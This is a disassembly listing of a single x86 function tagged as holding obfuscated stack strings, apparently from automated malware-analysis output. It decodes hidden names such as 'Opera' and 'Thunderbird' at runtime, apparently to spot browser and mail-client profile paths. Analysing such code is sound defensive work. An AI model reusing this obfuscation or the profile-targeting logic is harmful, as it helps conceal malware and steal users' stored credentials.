Function at 0x42731d
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x453ca9
call fcn.004534f4
sub esp, 0x1ec
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
xor eax, eax
mov dword [ebp - 4], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0x1c]
push eax
push 0x5c
mov esi, dword [ebp + 0xc]
push esi
call fcn.004254bb
test al, al
je 0x427cd9
mov eax, dword [ebp - 0x18]
sub eax, dword [ebp - 0x1c]
cdq
push 0x18
pop ebx
idiv ebx
cmp eax, 6
jb 0x427c2f
mov al, 0x53
mov dword [ebp - 0x23], 0x68735253
mov word [ebp - 0x1f], 0x6475
mov byte [ebp - 0x1d], 0
xor edx, edx
mov dword [ebp - 0xf8], edx
cmp edx, 5
jae 0x4273b4
movsx ecx, al
and ecx, 0x8000000f
jns 0x42739e
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x22]
sub al, cl
mov byte [ebp + edx - 0x22], al
inc edx
mov dword [ebp - 0xf8], edx
mov al, byte [ebp - 0x23]
jmp 0x427389
mov byte [ebp - 0x1d], 0
push ecx
lea eax, [ebp - 0x22]
push eax
mov ecx, esi
call fcn.0040ca79
or edi, 0xffffffff
cmp eax, edi
je 0x427580
cmp byte [ebp + 0x10], 0
je 0x4274df
mov esi, dword [ebp - 0x1c]
add esi, 0x30
mov al, 0x67
mov dword [ebp - 0x74], 0x6c775667
mov dword [ebp - 0x70], 0x2f276879
mov dword [ebp - 0x6c], 0x796c7a7c
mov word [ebp - 0x68], 0x2741
mov byte [ebp - 0x66], 0
xor edx, edx
mov dword [ebp - 0xfc], edx
cmp edx, 0xd
jae 0x427433
movsx ecx, al
and ecx, 0x8000000f
jns 0x42741d
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x73]
sub al, cl
mov byte [ebp + edx - 0x73], al
inc edx
mov dword [ebp - 0xfc], edx
mov al, byte [ebp - 0x74]
jmp 0x427408
mov byte [ebp - 0x66], 0
push 0x29
push esi
lea edx, [ebp - 0x73]
lea ecx, [ebp - 0x180]
call fcn.0041c04d
mov edx, eax
mov ecx, dword [ebp + 8]
call fcn.00417ca3
lea ecx, [ebp - 0x180]
call fcn.0040bc59
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x427d57
mov edi, dword [ebp - 0x18]
mov esi, ecx
mov dword [ebp - 0x100], esi
cmp esi, edi
je 0x42748b
mov ecx, esi
call fcn.0040bc59
add esi, ebx
mov dword [ebp - 0x100], esi
mov ecx, dword [ebp - 0x1c]
jmp 0x427473
mov eax, dword [ebp - 0x14]
sub eax, ecx
cdq
idiv ebx
imul edx, eax, 0x18
mov dword [ebp - 0x104], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4274c0
add edx, 0x23
mov dword [ebp - 0x104], edx
mov ecx, dword [ecx - 4]
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x427d6b
push edx
push ecx
call fcn.0044488d
pop ecx
pop ecx
xor eax, eax
lea ecx, [ebp - 0x1c]
mov dword [ecx], eax
lea ecx, [ebp - 0x18]
mov dword [ecx], eax
lea ecx, [ebp - 0x14]
mov dword [ecx], eax
jmp 0x427d57
mov dl, 0x2d
mov dword [ebp - 0x2a], 0x485d622d
mov word [ebp - 0x26], 0x4c5f
mov byte [ebp - 0x24], 0
xor ecx, ecx
mov dword [ebp - 0x108], ecx
cmp ecx, 5
jae 0x427515
mov al, byte [ebp + ecx - 0x29]
xor al, dl
mov byte [ebp + ecx - 0x29], al
inc ecx
mov dword [ebp - 0x108], ecx
mov dl, byte [ebp - 0x2a]
jmp 0x4274fa
mov byte [ebp - 0x24], 0
lea eax, [ebp - 0x29]
push eax
mov ecx, dword [ebp + 8]
call fcn.0040bc98
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x427d57
mov edi, dword [ebp - 0x18]
mov esi, ecx
mov dword [ebp - 0x10c], esi
cmp esi, edi
je 0x427553
mov ecx, esi
call fcn.0040bc59
add esi, ebx
mov dword [ebp - 0x10c], esi
mov ecx, dword [ebp - 0x1c]
jmp 0x42753b
mov eax, dword [ebp - 0x14]
sub eax, ecx
cdq
idiv ebx
imul edx, eax, 0x18
mov dword [ebp - 0xdc], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4274c0
add edx, 0x23
mov dword [ebp - 0xdc], edx
jmp 0x4274af
mov dl, 0x70
mov word [ebp - 0x4b], 0x2470
mov byte [ebp - 0x49], bl
mov dword [ebp - 0x48], 0x15141e05
mov dword [ebp - 0x44], 0x2191202
mov word [ebp - 0x40], 0x14
xor ecx, ecx
mov dword [ebp - 0x110], ecx
cmp ecx, 0xb
jae 0x4275c2
mov al, byte [ebp + ecx - 0x4a]
xor al, dl
mov byte [ebp + ecx - 0x4a], al
inc ecx
mov dword [ebp - 0x110], ecx
mov dl, byte [ebp - 0x4b]
jmp 0x4275a7
mov byte [ebp - 0x3f], 0
push ecx
lea eax, [ebp - 0x4a]
push eax
mov ecx, esi
call fcn.0040ca79
cmp eax, edi
je 0x427771
cmp byte [ebp + 0x10], 0
je 0x4276b8
mov edx, dword [ebp - 0x1c]
add edx, 0x30
movaps xmm0, xmmword [0x407dd0]
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0x372d6572
mov byte [ebp - 0x84], 0
xor ecx, ecx
mov dword [ebp - 0x114], ecx
cmp ecx, 0x13
jae 0x42762d
mov al, byte [ebp + ecx - 0x97]
xor al, byte [ebp - 0x98]
mov byte [ebp + ecx - 0x97], al
inc ecx
jmp 0x42760b
mov byte [ebp - 0x84], 0
push 0x29
push edx
lea edx, [ebp - 0x97]
lea ecx, [ebp - 0x198]
call fcn.0041c04d
mov edx, eax
mov ecx, dword [ebp + 8]
call fcn.00417ca3
lea ecx, [ebp - 0x198]
call fcn.0040bc59
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x427d57
mov edi, dword [ebp - 0x18]
mov esi, ecx
mov dword [ebp - 0x118], esi
cmp esi, edi
je 0x42768b
mov ecx, esi
call fcn.0040bc59
add esi, ebx
mov dword [ebp - 0x118], esi
mov ecx, dword [ebp - 0x1c]
jmp 0x427673
mov eax, dword [ebp - 0x14]
sub eax, ecx
cdq
idiv ebx
imul edx, eax, 0x18
mov dword [ebp - 0x11c], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4274c0
add edx, 0x23
mov dword [ebp - 0x11c], edx
jmp 0x4274af
mov al, 0x2a
mov dword [ebp - 0x58], 0x7f725e2a
mov dword [ebp - 0x54], 0x7c6f6e78
mov dword [ebp - 0x50], 0x6e7c736c
mov byte [ebp - 0x4c], 0
xor edx, edx
mov dword [ebp - 0x9c], edx
cmp edx, 0xb
jae 0x427706
movsx ecx, al
and ecx, 0x8000000f
jns 0x4276f0
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x57]
sub al, cl
mov byte [ebp + edx - 0x57], al
inc edx
mov dword [ebp - 0x9c], edx
mov al, byte [ebp - 0x58]
jmp 0x4276db
mov byte [ebp - 0x4c], 0
lea eax, [ebp - 0x57]
push eax
mov ecx, dword [ebp + 8]
call fcn.0040bc98
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x427d57
mov edi, dword [ebp - 0x18]
mov esi, ecx
mov dword [ebp - 0xa0], esi
cmp esi, edi
je 0x427744
mov ecx, esi
call fcn.0040bc59
add esi, ebx
mov dword [ebp - 0xa0], esi
mov ecx, dword [ebp - 0x1c]
jmp 0x42772c
mov eax, dword [ebp - 0x14]
sub eax, ecx
cdq
idiv ebx
imul edx, eax, 0x18
mov dword [ebp - 0xa4], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4274c0
add edx, 0x23
mov dword [ebp - 0xa4], edx
jmp 0x4274af
movaps xmm0, xmmword [0x407cf0]
movups xmmword [ebp - 0x130], xmm0
mov dword [ebp - 0x120], 0x57465b
xor ecx, ecx
mov dword [ebp - 0xa8], ecx
cmp ecx, 0x12
jae 0x4277ad
mov al, byte [ebp + ecx - 0x12f]
xor al, byte [ebp - 0x130]
mov byte [ebp + ecx - 0x12f], al
inc ecx
jmp 0x42778b
mov byte [ebp - 0x11d], 0
push ecx
lea eax, [ebp - 0x12f]
push eax
mov ecx, esi
call fcn.0040ca79
cmp eax, edi
jne 0x427ac8
movaps xmm0, xmmword [0x407260]
movups xmmword [ebp - 0x155], xmm0
xor edx, edx
mov dword [ebp - 0xac], edx
cmp edx, 0xe
jae 0x42780d
movsx ecx, byte [ebp - 0x155]
and ecx, 0x8000000f
jns 0x4277fa
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x154]
sub al, cl
mov byte [ebp + edx - 0x154], al
inc edx
jmp 0x4277db
mov byte [ebp - 0x146], 0
push ecx
lea eax, [ebp - 0x154]
push eax
mov ecx, esi
call fcn.0040ca79
cmp eax, edi
jne 0x427ac8
mov al, 0x35
mov dword [ebp - 0x65], 0x6c747135
mov dword [ebp - 0x61], 0x3378736e
mov dword [ebp - 0x5d], 0x7374786f
mov byte [ebp - 0x59], 0
xor edx, edx
mov dword [ebp - 0xb0], edx
cmp edx, 0xb
jae 0x427879
movsx ecx, al
and ecx, 0x8000000f
jns 0x427863
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x64]
sub al, cl
mov byte [ebp + edx - 0x64], al
inc edx
mov dword [ebp - 0xb0], edx
mov al, byte [ebp - 0x65]
jmp 0x42784e
mov byte [ebp - 0x59], 0
push ecx
lea eax, [ebp - 0x64]
push eax
mov ecx, esi
call fcn.0040ca79
cmp eax, edi
jne 0x427ac8
movaps xmm0, xmmword [0x407270]
movups xmmword [ebp - 0x165], xmm0
xor edx, edx
mov dword [ebp - 0xb4], edx
cmp edx, 0xe
jae 0x4278d3
movsx ecx, byte [ebp - 0x165]
and ecx, 0x8000000f
jns 0x4278c0
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x164]
sub al, cl
mov byte [ebp + edx - 0x164], al
inc edx
jmp 0x4278a1
mov byte [ebp - 0x156], 0
push ecx
lea eax, [ebp - 0x164]
push eax
mov ecx, esi
call fcn.0040ca79
cmp eax, edi
jne 0x427ac8
mov dl, 0x5e
mov dword [ebp - 0x83], 0x3f322e5e
mov dword [ebp - 0x7f], 0x702d3b3d
mov dword [ebp - 0x7b], 0x37322f2d
mov word [ebp - 0x77], 0x3b2a
mov byte [ebp - 0x75], 0
xor ecx, ecx
mov dword [ebp - 0xb8], ecx
cmp ecx, 0xd
jae 0x427941
mov al, byte [ebp + ecx - 0x82]
xor al, dl
mov byte [ebp + ecx - 0x82], al
inc ecx
mov dword [ebp - 0xb8], ecx
mov dl, byte [ebp - 0x83]
jmp 0x42791d
mov byte [ebp - 0x75], 0
push ecx
lea eax, [ebp - 0x82]
push eax
mov ecx, esi
call fcn.0040ca79
cmp eax, edi
jne 0x427ac8
cmp byte [ebp + 0x10], 0
je 0x427a5c
mov esi, dword [ebp - 0x1c]
add esi, 0x30
mov al, 0x58
mov dword [ebp - 0x34], 0x7d302858
mov dword [ebp - 0x30], 0x427a6d7b
mov word [ebp - 0x2c], 0x28
xor edx, edx
mov dword [ebp - 0xbc], edx
cmp edx, 8
jae 0x4279b5
movsx ecx, al
and ecx, 0x8000000f
jns 0x42799f
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x33]
sub al, cl
mov byte [ebp + edx - 0x33], al
inc edx
mov dword [ebp - 0xbc], edx
mov al, byte [ebp - 0x34]
jmp 0x42798a
mov byte [ebp - 0x2b], 0
mov edx, dword [ebp - 0x1c]
lea edx, [edx + 0x90]
lea eax, [ebp - 0x33]
push eax
lea ecx, [ebp - 0x1c8]
call fcn.00417b5f
push 0x29
push esi
mov edx, eax
lea ecx, [ebp - 0x1b0]
call fcn.00417ccd
mov edx, eax
mov ecx, dword [ebp + 8]
call fcn.00417ca3
lea ecx, [ebp - 0x1b0]
call fcn.0040bc59
lea ecx, [ebp - 0x1c8]
call fcn.0040bc59
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x427d57
mov edi, dword [ebp - 0x18]
mov esi, ecx
mov dword [ebp - 0xc0], esi
cmp esi, edi
je 0x427a2f
mov ecx, esi
call fcn.0040bc59
add esi, ebx
mov dword [ebp - 0xc0], esi
mov ecx, dword [ebp - 0x1c]
jmp 0x427a17
mov eax, dword [ebp - 0x14]
sub eax, ecx
cdq
idiv ebx
imul edx, eax, 0x18
mov dword [ebp - 0xc4], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4274c0
add edx, 0x23
mov dword [ebp - 0xc4], edx
jmp 0x4274af
mov eax, dword [ebp - 0x1c]
add eax, 0x90
push eax
mov ecx, dword [ebp + 8]
call fcn.0040cd59
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x427d57
mov edi, dword [ebp - 0x18]
mov esi, ecx
mov dword [ebp - 0xc8], esi
cmp esi, edi
je 0x427a9b
mov ecx, esi
call fcn.0040bc59
add esi, ebx
mov dword [ebp - 0xc8], esi
mov ecx, dword [ebp - 0x1c]
jmp 0x427a83
mov eax, dword [ebp - 0x14]
sub eax, ecx
cdq
idiv ebx
imul edx, eax, 0x18
mov dword [ebp - 0xcc], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4274c0
add edx, 0x23
mov dword [ebp - 0xcc], edx
jmp 0x4274af
cmp byte [ebp + 0x10], 0
je 0x427bc5
mov esi, dword [ebp - 0x1c]
add esi, 0x30
mov al, 0x61
mov dword [ebp - 0x3e], 0x76292161
mov dword [ebp - 0x3a], 0x3b736674
mov word [ebp - 0x36], 0x21
xor edx, edx
mov dword [ebp - 0xd0], edx
cmp edx, 8
jae 0x427b21
movsx ecx, al
and ecx, 0x8000000f
jns 0x427b0b
dec ecx
or ecx, 0xfffffff0
inc ecx
mov al, byte [ebp + edx - 0x3d]
sub al, cl
mov byte [ebp + edx - 0x3d], al
inc edx
mov dword [ebp - 0xd0], edx
mov al, byte [ebp - 0x3e]
jmp 0x427af6
mov byte [ebp - 0x35], 0
mov edx, dword [ebp - 0x1c]
lea edx, [edx + 0x78]
lea eax, [ebp - 0x3d]
push eax
lea ecx, [ebp - 0x1f8]
call fcn.00417b5f
push 0x29
push esi
mov edx, eax
lea ecx, [ebp - 0x1e0]
call fcn.00417ccd
mov edx, eax
mov ecx, dword [ebp + 8]
call fcn.00417ca3
lea ecx, [ebp - 0x1e0]
call fcn.0040bc59
lea ecx, [ebp - 0x1f8]
call fcn.0040bc59
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x427d57
mov edi, dword [ebp - 0x18]
mov esi, ecx
mov dword [ebp - 0xd4], esi
cmp esi, edi
je 0x427b98
mov ecx, esi
call fcn.0040bc59
add esi, ebx
mov dword [ebp - 0xd4], esi
mov ecx, dword [ebp - 0x1c]
jmp 0x427b80
mov eax, dword [ebp - 0x14]
sub eax, ecx
cdq
idiv ebx
imul edx, eax, 0x18
mov dword [ebp - 0xd8], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4274c0
add edx, 0x23
mov dword [ebp - 0xd8], edx
jmp 0x4274af
mov eax, dword [ebp - 0x1c]
add eax, 0x78
push eax
mov ecx, dword [ebp + 8]
call fcn.0040cd59
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x427d57
mov edi, dword [ebp - 0x18]
mov esi, ecx
mov dword [ebp - 0x134], esi
cmp esi, edi
je 0x427c02
mov ecx, esi
call fcn.0040bc59
add esi, ebx
mov dword [ebp - 0x134], esi
mov ecx, dword [ebp - 0x1c]
jmp 0x427bea
mov eax, dword [ebp - 0x14]
sub eax, ecx
cdq
idiv ebx
imul edx, eax, 0x18
mov dword [ebp - 0xe0], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4274c0
add edx, 0x23
mov dword [ebp - 0xe0], edx
jmp 0x4274af
movaps xmm0, xmmword [0x4073d0]
movups xmmword [ebp - 0x145], xmm0
mov byte [ebp - 0x135], 0
xor ecx, ecx
mov dword [ebp - 0xe4], ecx
cmp ecx, 0xf
jae 0x427c68
mov al, byte [ebp + ecx - 0x144]
xor al, byte [ebp - 0x145]
mov byte [ebp + ecx - 0x144], al
inc ecx
jmp 0x427c46
mov byte [ebp - 0x135], 0
lea eax, [ebp - 0x144]
push eax
mov ecx, dword [ebp + 8]
call fcn.0040bc98
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x427d57
mov edi, dword [ebp - 0x18]
mov esi, ecx
mov dword [ebp - 0xe8], esi
cmp esi, edi
je 0x427cac
mov ecx, esi
call fcn.0040bc59
add esi, ebx
mov dword [ebp - 0xe8], esi
mov ecx, dword [ebp - 0x1c]
jmp 0x427c94
mov eax, dword [ebp - 0x14]
sub eax, ecx
cdq
idiv ebx
imul edx, eax, 0x18
mov dword [ebp - 0xec], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4274c0
add edx, 0x23
mov dword [ebp - 0xec], edx
jmp 0x4274af
push 0x406fc4
mov ecx, dword [ebp + 8]
call fcn.0040bc98
mov ecx, dword [ebp - 0x1c]
test ecx, ecx
je 0x427d57
mov edi, dword [ebp - 0x18]
mov esi, ecx
mov dword [ebp - 0xf0], esi
push 0x18
pop ebx
cmp esi, edi
je 0x427d13
mov ecx, esi
call fcn.0040bc59
add esi, ebx
mov dword [ebp - 0xf0], esi
mov ecx, dword [ebp - 0x1c]
jmp 0x427cfb
mov eax, dword [ebp - 0x14]
sub eax, ecx
cdq
idiv ebx
imul edx, eax, 0x18
mov dword [ebp - 0xf4], edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4274c0
add edx, 0x23
mov dword [ebp - 0xf4], edx
jmp 0x4274af
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret 0xc
call fcn.00448974
int3